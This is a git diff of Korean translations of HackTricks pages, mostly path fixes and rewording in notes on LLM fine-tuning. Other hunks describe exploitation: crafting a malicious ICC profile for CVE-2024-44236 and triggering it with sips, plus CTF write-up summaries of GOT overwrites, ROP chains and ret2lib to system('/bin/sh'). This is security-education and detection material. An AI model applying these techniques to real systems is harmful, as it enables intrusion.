/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 35ead3f08..bce5cd993 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,6 +1,6 @@ # 7.0. LoRA 개선 사항 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## LoRA 개선 사항 @@ -9,7 +9,7 @@ LoRA는 모델의 **작은 부분**만 변경하여 **대형 모델**을 효율적으로 미세 조정할 수 있게 합니다. 이는 훈련해야 할 매개변수의 수를 줄여 **메모리**와 **계산 자원**을 절약합니다. 그 이유는 다음과 같습니다: -1. **훈련 가능한 매개변수 수 감소**: 모델의 전체 가중치 행렬을 업데이트하는 대신, LoRA는 가중치 행렬을 두 개의 더 작은 행렬( **A**와 **B**라고 함)로 **분할**합니다. 이렇게 하면 훈련이 **더 빨라지고** 업데이트해야 할 매개변수가 적기 때문에 **메모리**가 **덜 필요**합니다. +1. **훈련 가능한 매개변수 수 감소**: 모델의 전체 가중치 행렬을 업데이트하는 대신, LoRA는 가중치 행렬을 두 개의 더 작은 행렬( **A**와 **B**라고 함)로 **분할**합니다. 이렇게 하면 훈련이 **더 빨라지고** 업데이트해야 할 매개변수가 적어져 **메모리**가 **덜 필요**합니다. 1. 이는 레이어(행렬)의 전체 가중치 업데이트를 계산하는 대신, 두 개의 더 작은 행렬의 곱으로 근사하여 업데이트를 계산하는 것을 줄이기 때문입니다:\ @@ -19,7 +19,7 @@ LoRA는 모델의 **작은 부분**만 변경하여 **대형 모델**을 효율 3. **효율적인 작업별 미세 조정**: 모델을 **새로운 작업**에 적응시키고자 할 때, 나머지 모델은 그대로 두고 **작은 LoRA 행렬**(A와 B)만 훈련하면 됩니다. 이는 전체 모델을 재훈련하는 것보다 **훨씬 더 효율적**입니다. 4. **저장 효율성**: 미세 조정 후, 각 작업에 대해 **전체 새로운 모델**을 저장하는 대신, 전체 모델에 비해 매우 작은 **LoRA 행렬**만 저장하면 됩니다. 이는 많은 작업에 모델을 적응시키는 데 너무 많은 저장 공간을 사용하지 않도록 쉽게 만들어 줍니다. -미세 조정 중 Linear 대신 LoraLayers를 구현하기 위해 여기서 제안된 코드는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb)입니다: +미세 조정 중 Linear 대신 LoraLayers를 구현하기 위해 여기에서 제안된 코드는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb)입니다: ```python import math @@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index b03ee60da..5cca3f1f6 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,6 +1,6 @@ # 7.1. Fine-Tuning for Classification -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## What is @@ -28,11 +28,11 @@ Fine-tuning은 방대한 양의 데이터에서 **일반 언어 패턴**을 학 ### Entries length -훈련 예제가 동일한 길이의 항목(이 경우 이메일 텍스트)을 기대하므로, 가장 큰 항목과 동일한 크기로 모든 항목을 만들기로 결정하였으며, `<|endoftext|>`의 ID를 패딩으로 추가했습니다. +훈련 예제가 동일한 길이의 항목(이 경우 이메일 텍스트)을 기대하므로, 가장 큰 항목과 동일한 크기로 모든 항목을 만들기로 결정하였으며, `<|endoftext|>`의 ID를 패딩으로 추가합니다. ### Initialize the model -오픈 소스 사전 훈련된 가중치를 사용하여 모델을 초기화하여 훈련합니다. 우리는 이미 이를 수행했으며 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)의 지침을 따르면 쉽게 할 수 있습니다. +오픈 소스 사전 훈련된 가중치를 사용하여 모델을 초기화하여 훈련합니다. 우리는 이미 이 작업을 수행했으며 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)의 지침을 따르면 쉽게 할 수 있습니다. ## Classification head @@ -49,7 +49,7 @@ out_features=num_classes ``` ## 조정할 매개변수 -빠르게 미세 조정하기 위해서는 모든 매개변수를 조정하는 것보다 일부 최종 매개변수만 조정하는 것이 더 쉽습니다. 이는 하위 계층이 일반적으로 적용 가능한 기본 언어 구조와 의미를 포착한다는 것이 알려져 있기 때문입니다. 따라서, **마지막 계층만 미세 조정하는 것이 일반적으로 충분하고 더 빠릅니다**. +빠르게 미세 조정하기 위해서는 모든 매개변수를 조정하는 것보다 일부 최종 매개변수만 조정하는 것이 더 쉽습니다. 이는 하위 계층이 일반적으로 적용 가능한 기본 언어 구조와 의미를 포착한다는 것이 알려져 있기 때문입니다. 따라서, **마지막 계층만 미세 조정하는 것으로 보통 충분하고 더 빠릅니다**. ```python # This code makes all the parameters of the model unrtainable for param in model.parameters(): @@ -66,9 +66,9 @@ param.requires_grad = True ``` ## Entries to use for training -이전 섹션에서는 LLM이 입력 문장에 거의 모든 예측된 토큰이 포함되어 있음에도 불구하고(실제로 예측된 것은 마지막 1개뿐임) 각 예측된 토큰의 손실을 줄이도록 훈련되었습니다. 이는 모델이 언어를 더 잘 이해할 수 있도록 하기 위함입니다. +이전 섹션에서는 LLM이 입력 문장에 거의 모든 예측된 토큰이 포함되어 있음에도 불구하고(실제로 예측된 것은 끝에 있는 1개뿐임) 각 예측된 토큰의 손실을 줄이는 방식으로 훈련되었습니다. 이는 모델이 언어를 더 잘 이해할 수 있도록 하기 위함입니다. -이번 경우에는 모델이 스팸인지 아닌지를 예측할 수 있는 것만 중요하므로, 마지막으로 예측된 토큰만 고려하면 됩니다. 따라서 이전의 훈련 손실 함수를 수정하여 해당 토큰만 고려하도록 해야 합니다. +이 경우 우리는 모델이 스팸인지 아닌지를 예측할 수 있는 것만 중요하므로, 마지막으로 예측된 토큰만 고려합니다. 따라서 이전의 훈련 손실 함수를 수정하여 해당 토큰만 고려하도록 해야 합니다. 이는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)에서 다음과 같이 구현됩니다: ```python @@ -111,4 +111,4 @@ return loss - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 77bec55d7..9ddfcaf39 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,6 +1,6 @@ # 7.2. 지침을 따르기 위한 미세 조정 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} > [!TIP] > 이 섹션의 목표는 **텍스트 생성만 하는 것이 아니라 지침을 따르도록 이미 사전 훈련된 모델을 미세 조정하는 방법**을 보여주는 것입니다. 예를 들어, 챗봇으로서 작업에 응답하는 것입니다. @@ -31,7 +31,7 @@ Absolutely! Gravity is a force that pulls objects toward each other. ``` LLM을 이러한 종류의 데이터 세트로 훈련시키는 것은 단순한 원시 텍스트 대신 LLM이 받는 질문에 대해 구체적인 응답을 제공해야 한다는 것을 이해하는 데 도움이 됩니다. -따라서 요청과 응답이 포함된 데이터 세트로 수행해야 할 첫 번째 작업 중 하나는 원하는 프롬프트 형식으로 해당 데이터를 모델링하는 것입니다. 예: +따라서 요청과 답변이 포함된 데이터 세트로 수행해야 할 첫 번째 작업 중 하나는 원하는 프롬프트 형식으로 해당 데이터를 모델링하는 것입니다. 예를 들어: ```python # Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb def format_input(entry): @@ -61,44 +61,44 @@ print(model_input + desired_response) - 모든 샘플을 동일한 길이로 패딩합니다(일반적으로 길이는 LLM을 사전 훈련하는 데 사용된 컨텍스트 길이만큼 큽니다). - 사용자 정의 콜레이트 함수에서 입력을 1만큼 이동시켜 예상 토큰을 생성합니다. - 훈련 손실에서 제외하기 위해 일부 패딩 토큰을 -100으로 교체합니다: 첫 번째 `endoftext` 토큰 이후에 모든 다른 `endoftext` 토큰을 -100으로 대체합니다(왜냐하면 `cross_entropy(...,ignore_index=-100)`를 사용하면 -100인 타겟을 무시하기 때문입니다). -- \[선택 사항\] LLM이 답변을 생성하는 방법만 배우도록 질문에 속하는 모든 토큰을 -100으로 마스킹합니다. Alpaca 스타일을 적용하면 `### Response:`까지 모든 것을 마스킹하는 것을 의미합니다. +- \[선택 사항\] LLM이 답변을 생성하는 방법만 배우도록 질문에 속하는 모든 토큰을 -100으로 마스킹합니다. Apply Alpaca 스타일에서는 `### Response:`까지 모든 것을 마스킹하는 것을 의미합니다. 이렇게 생성한 후, 각 데이터셋(훈련, 검증 및 테스트)을 위한 데이터 로더를 생성할 시간입니다. ## 사전 훈련된 LLM 로드 및 미세 조정 및 손실 확인 -미세 조정을 위해 사전 훈련된 LLM을 로드해야 합니다. 이는 다른 페이지에서 이미 논의되었습니다. 그런 다음, 이전에 사용된 훈련 함수를 사용하여 LLM을 미세 조정할 수 있습니다. +사전 훈련된 LLM을 로드하여 미세 조정해야 합니다. 이는 다른 페이지에서 이미 논의되었습니다. 그런 다음, 이전에 사용된 훈련 함수를 사용하여 LLM을 미세 조정할 수 있습니다. 훈련 중에는 에포크 동안 훈련 손실과 검증 손실이 어떻게 변하는지 확인하여 손실이 줄어들고 있는지, 과적합이 발생하고 있는지를 확인할 수 있습니다.\ 과적합은 훈련 손실이 줄어들고 있지만 검증 손실이 줄어들지 않거나 오히려 증가할 때 발생합니다. 이를 피하기 위해 가장 간단한 방법은 이러한 행동이 시작되는 에포크에서 훈련을 중단하는 것입니다. ## 응답 품질 -이것은 손실 변동을 더 신뢰할 수 있는 분류 미세 조정이 아니기 때문에, 테스트 세트에서 응답의 품질을 확인하는 것도 중요합니다. 따라서 모든 테스트 세트에서 생성된 응답을 수집하고 **그 품질을 수동으로 확인**하여 잘못된 답변이 있는지 확인하는 것이 좋습니다(LLM이 응답 문장의 형식과 구문을 올바르게 생성할 수 있지만 완전히 잘못된 응답을 제공할 수 있다는 점에 유의하십시오. 손실 변동은 이러한 행동을 반영하지 않습니다).\ -생성된 응답과 예상 응답을 **다른 LLM에 전달하여 응답을 평가하도록 요청**하는 방식으로 이 검토를 수행할 수도 있습니다. +이것은 손실 변화를 더 신뢰할 수 있는 분류 미세 조정이 아니기 때문에, 테스트 세트에서 응답의 품질을 확인하는 것도 중요합니다. 따라서 생성된 응답을 모든 테스트 세트에서 수집하고 **그 품질을 수동으로 확인하는** 것이 좋습니다. 잘못된 답변이 있는지 확인합니다(LLM이 응답 문장의 형식과 구문을 올바르게 생성할 수 있지만 완전히 잘못된 응답을 제공할 수 있다는 점에 유의하십시오. 손실 변동은 이러한 행동을 반영하지 않습니다).\ +생성된 응답과 예상 응답을 **다른 LLM에 전달하여 응답을 평가하도록 요청하는** 방식으로 이 검토를 수행할 수도 있습니다. 응답 품질을 검증하기 위해 실행할 다른 테스트: 1. **대규모 다중 작업 언어 이해 (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU는 인문학, 과학 등 57개 주제에 걸쳐 모델의 지식과 문제 해결 능력을 평가합니다. 다양한 난이도에서 이해도를 평가하기 위해 객관식 질문을 사용합니다. -2. [**LMSYS 챗봇 아레나**](https://arena.lmsys.org): 이 플랫폼은 사용자가 서로 다른 챗봇의 응답을 나란히 비교할 수 있도록 합니다. 사용자가 프롬프트를 입력하면 여러 챗봇이 응답을 생성하여 직접 비교할 수 있습니다. +2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): 이 플랫폼은 사용자가 다양한 챗봇의 응답을 나란히 비교할 수 있도록 합니다. 사용자가 프롬프트를 입력하면 여러 챗봇이 응답을 생성하여 직접 비교할 수 있습니다. 3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval은 GPT-4와 같은 고급 LLM이 다양한 프롬프트에 대한 다른 모델의 응답을 평가하는 자동화된 평가 프레임워크입니다. 4. **일반 언어 이해 평가 (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE는 감정 분석, 텍스트 함의 및 질문 응답을 포함한 아홉 가지 자연어 이해 작업의 모음입니다. -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE를 기반으로 하여 SuperGLUE는 현재 모델에 대해 어렵게 설계된 더 도전적인 작업을 포함합니다. +5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE를 기반으로 하여 SuperGLUE는 현재 모델에 대해 어려운 작업을 포함합니다. 6. **모방 게임 벤치마크 초월 (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench는 추론, 번역 및 질문 응답과 같은 영역에서 모델의 능력을 테스트하는 200개 이상의 작업을 포함하는 대규모 벤치마크입니다. 7. **언어 모델의 전체적인 평가 (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM은 정확성, 강건성 및 공정성과 같은 다양한 메트릭에 걸쳐 포괄적인 평가를 제공합니다. -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI에서 제공하는 오픈 소스 평가 프레임워크로, 사용자 정의 및 표준화된 작업에서 AI 모델을 테스트할 수 있습니다. +8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI에서 제공하는 오픈 소스 평가 프레임워크로, AI 모델을 사용자 정의 및 표준화된 작업에서 테스트할 수 있습니다. 9. [**HumanEval**](https://github.com/openai/human-eval)**:** 언어 모델의 코드 생성 능력을 평가하는 데 사용되는 프로그래밍 문제 모음입니다. 10. **스탠포드 질문 응답 데이터셋 (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD는 모델이 정확하게 답변하기 위해 텍스트를 이해해야 하는 위키피디아 기사에 대한 질문으로 구성됩니다. -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 방대한 양의 퀴즈 질문과 답변, 증거 문서로 구성된 데이터셋입니다. +11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 방대한 양의 퀴즈 질문과 답변, 증거 문서가 포함된 데이터셋입니다. 그리고 많은 많은 더 있습니다. ## 지침 따르기 미세 조정 코드 -이 미세 조정을 수행하기 위한 코드 예제를 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)에서 찾을 수 있습니다. +이 미세 조정을 수행하는 코드의 예는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)에서 찾을 수 있습니다. ## 참고 문헌 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 381a6d95e..382869268 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,12 +1,12 @@ # LLM Training - Data Preparation -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} **이것은 매우 추천하는 책** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **에서의 내 노트와 추가 정보입니다.** ## Basic Information -기본 개념에 대해 알아야 할 내용을 위해 이 게시물을 읽는 것으로 시작해야 합니다: +이 포스트를 읽는 것으로 시작해야 합니다. 알아야 할 기본 개념에 대해: {{#ref}} 0.-basic-llm-concepts.md @@ -34,9 +34,9 @@ > [!TIP] > 이 세 번째 단계의 목표는 매우 간단합니다: **어휘의 각 이전 토큰에 원하는 차원의 벡터를 할당하여 모델을 훈련하는 것입니다.** 어휘의 각 단어는 X 차원의 공간에서 한 점이 됩니다.\ -> 처음에 각 단어의 위치는 "무작위로" 초기화되며, 이 위치는 훈련 가능한 매개변수입니다(훈련 중 개선됩니다). +> 각 단어의 초기 위치는 "무작위로" 초기화되며, 이러한 위치는 훈련 가능한 매개변수입니다(훈련 중 개선됩니다). > -> 게다가, 토큰 임베딩 동안 **또 다른 임베딩 레이어가 생성됩니다**. 이는 (이 경우) **훈련 문장에서 단어의 절대 위치를 나타냅니다.** 이렇게 하면 문장에서 서로 다른 위치에 있는 단어는 서로 다른 표현(의미)을 갖게 됩니다. +> 게다가, 토큰 임베딩 동안 **또 다른 임베딩 레이어가 생성됩니다**. 이는 (이 경우) **훈련 문장에서 단어의 절대 위치를 나타냅니다**. 이렇게 하면 문장에서 서로 다른 위치에 있는 단어는 서로 다른 표현(의미)을 갖게 됩니다. {{#ref}} 3.-token-embeddings.md @@ -45,8 +45,8 @@ ## 4. Attention Mechanisms > [!TIP] -> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하는 것입니다.** 이는 LLM을 훈련하는 데 사용되는 현재 문장에서 단어와 이웃 간의 관계를 **포착하는 많은 반복 레이어**가 될 것입니다.\ -> 이를 위해 많은 레이어가 사용되므로 많은 훈련 가능한 매개변수가 이 정보를 포착하게 됩니다. +> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하는 것입니다**. 이는 **어휘의 단어와 현재 LLM 훈련에 사용되는 문장에서의 이웃 간의 관계를 포착하는 많은 반복 레이어**가 될 것입니다.\ +> 이를 위해 많은 레이어가 사용되며, 많은 훈련 가능한 매개변수가 이 정보를 포착하게 됩니다. {{#ref}} 4.-attention-mechanisms.md @@ -55,7 +55,7 @@ ## 5. LLM Architecture > [!TIP] -> 이 다섯 번째 단계의 목표는 매우 간단합니다: **전체 LLM의 아키텍처를 개발하는 것입니다.** 모든 것을 함께 모으고, 모든 레이어를 적용하고, 텍스트를 생성하거나 텍스트를 ID로 변환하고 그 반대로 변환하는 모든 기능을 만듭니다. +> 이 다섯 번째 단계의 목표는 매우 간단합니다: **전체 LLM의 아키텍처를 개발하는 것입니다**. 모든 것을 통합하고, 모든 레이어를 적용하며, 텍스트를 생성하거나 텍스트를 ID로 변환하고 그 반대로 변환하는 모든 기능을 생성합니다. > > 이 아키텍처는 훈련 후 텍스트를 예측하는 데에도 사용됩니다. @@ -66,7 +66,7 @@ ## 6. Pre-training & Loading models > [!TIP] -> 이 여섯 번째 단계의 목표는 매우 간단합니다: **모델을 처음부터 훈련하는 것입니다.** 이를 위해 이전 LLM 아키텍처를 사용하여 정의된 손실 함수와 최적화를 사용하여 데이터 세트를 반복하면서 모델의 모든 매개변수를 훈련합니다. +> 이 여섯 번째 단계의 목표는 매우 간단합니다: **모델을 처음부터 훈련하는 것입니다**. 이를 위해 이전 LLM 아키텍처를 사용하여 정의된 손실 함수와 최적화를 사용하여 데이터 세트를 반복하면서 모델의 모든 매개변수를 훈련합니다. {{#ref}} 6.-pre-training-and-loading-models.md @@ -84,7 +84,7 @@ ## 7.1. Fine-Tuning for Classification > [!TIP] -> 이 섹션의 목표는 이미 사전 훈련된 모델을 미세 조정하는 방법을 보여주는 것입니다. 따라서 새로운 텍스트를 생성하는 대신 LLM은 **주어진 텍스트가 각 주어진 카테고리에 분류될 확률을 선택합니다** (예: 텍스트가 스팸인지 아닌지). +> 이 섹션의 목표는 이미 사전 훈련된 모델을 미세 조정하는 방법을 보여주는 것입니다. 따라서 새로운 텍스트를 생성하는 대신 LLM은 **주어진 텍스트가 각 주어진 카테고리에 분류될 확률을 선택합니다**(예: 텍스트가 스팸인지 아닌지). {{#ref}} 7.1.-fine-tuning-for-classification.md @@ -93,10 +93,10 @@ ## 7.2. Fine-Tuning to follow instructions > [!TIP] -> 이 섹션의 목표는 **텍스트를 생성하는 대신 지침을 따르도록 이미 사전 훈련된 모델을 미세 조정하는 방법을 보여주는 것입니다.** 예를 들어, 챗봇으로서 작업에 응답하는 것입니다. +> 이 섹션의 목표는 **텍스트를 생성하는 대신 지침을 따르도록 이미 사전 훈련된 모델을 미세 조정하는 방법을 보여주는 것입니다**. 예를 들어, 챗봇으로서 작업에 응답하는 것입니다. {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 11f28b2aa..37a69920c 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1,3 @@ # Arbitrary Write 2 Exec -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 6c8148d83..09b1f642a 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -20,10 +20,10 @@ buffer[i] = 0; ## Exploitation Steps -1. **악성 `.icc` 프로파일 생성:** +1. **악성 `.icc` 프로파일 작성:** - 서명 `acsp`와 단일 `lutAToBType` 또는 `lutBToAType` 태그 항목으로 ICC 헤더(128바이트)를 빌드합니다. - 태그 테이블에서 `offsetToCLUT`를 태그의 `size`(`tagDataSize`)와 같게 설정합니다. -- 태그 데이터 블록 바로 뒤에 공격자가 제어하는 데이터를 배치하여 힙 메타데이터를 덮어씁니다. +- 힙 메타데이터를 덮어쓰도록 태그 데이터 블록 바로 뒤에 공격자가 제어하는 데이터를 배치합니다. 2. **파싱 트리거:** ```bash @@ -40,7 +40,7 @@ sips --verifyColor malicious.icc - 일반 프로토콜(FTP, HTTP/S, IMAP, SMB, NFS, SMTP)에서 파일 전송을 모니터링합니다. - 서명 `acsp`가 있는 전송된 파일을 검사합니다. -- 각 `mAB` 또는 `mBA` 태그에 대해 `Offset to CLUT` 필드가 `Tag data size`와 같은지 확인합니다. +- 각 `mAB ` 또는 `mBA ` 태그에 대해 `Offset to CLUT` 필드가 `Tag data size`와 같은지 확인합니다. - 이 조건이 충족되면 의심스러운 것으로 표시합니다. ## References @@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner - Apple 2024년 10월 보안 업데이트 (CVE-2024-44236 패치 포함) https://support.apple.com/en-us/121564 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index b718e57b7..e286c3789 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -4,17 +4,17 @@ ## 기본 정보 -이 카테고리는 배열의 인덱스 처리에서 발생하는 오류로 인해 특정 데이터를 덮어쓸 수 있는 모든 취약점을 포함합니다. 이는 취약점의 조건에 완전히 의존하는 폭넓은 카테고리로, 특정한 방법론이 없습니다. +이 카테고리는 배열의 인덱스 처리 오류로 인해 특정 데이터를 덮어쓸 수 있는 모든 취약점을 포함합니다. 이는 취약점의 조건에 완전히 의존하기 때문에 특정 방법론이 없는 매우 넓은 카테고리입니다. -하지만 여기 몇 가지 멋진 **예제**를 찾을 수 있습니다: +하지만 여기에서 몇 가지 멋진 **예제**를 찾을 수 있습니다: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) -- **주소**가 저장된 배열과 그 데이터의 **크기**를 가진 **2개의 충돌하는 배열**이 있습니다. 하나에서 다른 것으로 덮어쓸 수 있어, 크기로 표시된 임의의 주소를 쓸 수 있습니다. 이를 통해 GOT 테이블에서 `free` 함수의 주소를 쓰고, 이를 `system`의 주소로 덮어쓴 후 `/bin/sh`로부터 메모리에서 free를 호출할 수 있습니다. +- **주소**에 데이터를 저장하는 배열과 그 데이터의 **크기**를 가진 배열이 **2개 충돌**합니다. 하나에서 다른 것으로 덮어쓸 수 있어 임의의 주소를 크기로 지정할 수 있습니다. 이를 통해 GOT 테이블에서 `free` 함수의 주소를 쓰고, 이를 `system`의 주소로 덮어쓴 다음 `/bin/sh`로 메모리에서 free를 호출할 수 있습니다. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) -- 64비트, nx 없음. 크기를 덮어써서 모든 것이 두 배의 숫자로 사용되고 가장 작은 것부터 가장 큰 것까지 정렬되는 일종의 버퍼 오버플로우를 발생시킵니다. 따라서 그 요구 사항을 충족하는 쉘코드를 생성해야 하며, 카나리가 그 위치에서 이동하지 않아야 하고, 마지막으로 RIP를 ret 주소로 덮어쓰고, 가장 큰 주소를 스택의 시작을 가리키는 새로운 주소로 설정해야 합니다(프로그램에 의해 유출됨). 그래서 ret를 사용하여 그곳으로 점프할 수 있습니다. +- 64비트, nx 없음. 크기를 덮어써서 모든 것이 두 배의 숫자로 사용되고 가장 작은 것부터 가장 큰 것까지 정렬되는 일종의 버퍼 오버플로우를 발생시킵니다. 따라서 그 요구 사항을 충족하는 쉘코드를 생성해야 하며, 카나리가 자신의 위치에서 이동하지 않아야 하고, 마지막으로 RIP를 ret 주소로 덮어써야 합니다. 이는 이전 요구 사항을 충족하고 가장 큰 주소를 스택의 시작을 가리키는 새로운 주소로 설정합니다(프로그램에 의해 유출됨) 그래서 ret를 사용하여 그곳으로 점프할 수 있습니다. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) -- 64비트, relro 없음, 카나리, nx, pie 없음. 스택의 배열에서 오프 바이 원이 있어 포인터를 제어할 수 있습니다. WWW를 부여합니다(배열의 모든 숫자의 합을 오프 바이 원으로 덮어쓴 주소에 씁니다). 스택이 제어되므로 GOT의 `exit` 주소가 `pop rdi; ret`로 덮어쓰여지고, 스택에 `main`의 주소가 추가됩니다(다시 `main`으로 루프). 그런 다음 puts를 사용하여 GOT에 있는 주소를 유출하는 ROP 체인이 사용됩니다(`exit`가 호출되므로 `pop rdi; ret`가 호출되어 이 체인이 스택에서 실행됩니다). 마지막으로 ret2lib를 실행하는 새로운 ROP 체인이 사용됩니다. +- 64비트, relro 없음, 카나리, nx, pie 없음. 스택의 배열에서 오프 바이 원이 있어 포인터를 제어할 수 있습니다. WWW를 부여합니다(배열의 모든 숫자의 합을 오프 바이 원으로 덮어쓴 주소에 씁니다). 스택이 제어되므로 GOT의 `exit` 주소가 `pop rdi; ret`로 덮어쓰여지고, 스택에 `main`의 주소가 추가됩니다(다시 `main`으로 루프). 그런 다음 puts를 사용하여 GOT에 있는 put의 주소를 유출하는 ROP 체인이 사용됩니다(`exit`가 호출되므로 `pop rdi; ret`가 호출되어 스택에서 이 체인이 실행됩니다). 마지막으로 ret2lib를 실행하는 새로운 ROP 체인이 사용됩니다. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - 32비트, relro 없음, 카나리 없음, nx, pie 없음. 잘못된 인덱싱을 악용하여 스택에서 libc와 힙의 주소를 유출합니다. 버퍼 오버플로우를 악용하여 `system('/bin/sh')`를 호출하는 ret2lib를 수행합니다(체크를 우회하기 위해 힙 주소가 필요합니다). -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 8ebd1374f..2f7659ad2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -8,13 +8,13 @@ > [!TIP] > **`checksec`**가 바이너리가 canary로 보호되고 있음을 찾지 못할 수 있다는 점에 유의하세요. 이는 정적으로 컴파일되었고 함수를 식별할 수 없기 때문입니다.\ -> 그러나 함수 호출의 시작 부분에 값이 스택에 저장되고 이 값이 종료 전에 확인되는 것을 